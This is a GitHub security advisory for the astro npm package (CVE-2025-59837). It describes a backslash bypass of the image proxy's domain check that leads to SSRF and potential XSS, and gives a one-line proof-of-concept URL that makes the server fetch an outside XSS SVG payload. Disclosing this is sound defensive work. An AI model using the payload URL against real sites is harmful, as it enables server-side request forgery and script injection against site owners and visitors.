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Astro's bypass of image proxy domain validation leads to SSRF and potential XSS

High severity GitHub Reviewed Published Oct 28, 2025 in withastro/astro • Updated Oct 28, 2025

Package

npm astro (npm)

Affected versions

>= 5.13.4, < 5.13.10

Patched versions

5.13.10

Description

Summary

This is a patch bypass of CVE-2025-58179 in commit 9ecf359. The fix blocks http://, https:// and //, but can be bypassed using backslashes (\) - the endpoint still issues a server-side fetch.

PoC

https://astro.build/_image?href=\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg

References

@matthewp matthewp published to withastro/astro Oct 28, 2025
Published to the GitHub Advisory Database Oct 28, 2025
Reviewed Oct 28, 2025
Last updated Oct 28, 2025

Severity

High

EPSS score

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2025-59837

GHSA ID

GHSA-qcpr-679q-rhm2

Source code

Credits

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